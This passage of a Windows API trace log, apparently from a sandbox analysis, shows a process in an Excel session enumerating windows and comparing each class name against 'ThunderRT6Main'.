GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0115.863] GetWindow (hWnd=0x20296, uCmd=0x2) returned 0x20292 [0115.863] GetClassNameA (in: hWnd=0x20292, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0115.863] GetWindow (hWnd=0x20292, uCmd=0x2) returned 0x20280 [0115.863] GetClassNameA (in: hWnd=0x20280, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0115.863] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb60 [0115.863] GetWindow (hWnd=0x20280, uCmd=0x2) returned 0x202c2 [0115.863] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.863] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.863] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0115.863] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0115.863] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0115.863] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.863] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -1946157056 [0115.863] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0115.863] IsWindowEnabled (hWnd=0x202cc) returned 0 [0115.863] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0115.863] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0115.863] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0115.863] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0115.863] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.863] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.863] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0115.863] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0115.863] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0115.863] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.863] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0115.863] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0115.863] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0115.863] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0115.863] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.863] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.863] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.863] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0115.863] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0115.863] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0115.863] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0115.863] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.864] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0115.864] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0115.864] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0115.864] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0115.864] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.864] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0115.864] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0115.864] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0115.864] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0115.864] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.864] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0115.864] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0115.864] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0115.864] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0115.864] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.864] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0115.864] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0115.864] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0115.864] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0115.864] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0115.864] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0115.864] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0115.864] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0115.864] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0115.864] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0115.864] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0115.864] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0115.864] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.864] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.864] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.864] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0115.864] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0115.864] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0115.864] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0115.864] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.864] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.865] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0115.865] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0115.865] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0115.865] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0115.865] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.865] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.865] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0115.865] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0115.865] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0115.865] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0115.865] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.865] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.865] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0115.865] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0115.865] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0115.865] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0115.865] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0115.865] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.865] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0115.865] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0115.865] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0115.865] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0115.865] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0115.865] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0115.865] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0115.865] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0115.865] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.865] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0115.865] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0115.865] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0115.865] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0115.865] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0115.865] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0115.865] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0115.865] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0115.865] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0115.865] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0115.865] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0115.865] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.866] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0115.866] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0115.866] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0115.866] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0115.866] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.866] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.866] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0115.866] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0115.866] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.866] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.866] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0115.866] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0115.866] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0115.866] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0115.866] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0115.866] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0115.866] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0115.866] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0115.866] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0115.866] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0115.866] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0115.866] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0115.866] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0115.866] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0115.866] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0115.866] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0115.866] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0115.866] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0115.866] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0115.866] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0115.866] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0115.866] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0115.867] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0115.867] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0115.867] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0115.867] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0115.867] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0115.867] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0115.867] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0115.867] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0115.867] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0115.867] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0115.867] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0115.867] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0115.867] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0115.867] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0115.867] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0115.867] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0115.867] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0115.867] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0115.867] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0115.867] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0115.867] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0115.867] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0115.867] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0115.867] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0115.867] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0115.867] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0115.868] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0115.868] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0115.868] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0115.868] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0115.868] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0115.868] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0115.868] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0115.868] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0115.868] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0115.868] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0115.868] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0115.868] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0115.868] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0115.868] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0115.868] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0115.868] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0115.868] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0115.868] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0115.868] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0115.868] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0115.868] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0115.868] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0115.868] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0115.868] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0115.868] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0115.868] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0115.869] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0115.869] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0115.869] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0115.869] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0115.869] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0115.869] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0115.869] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28dc60, nMaxCount=64 | out: 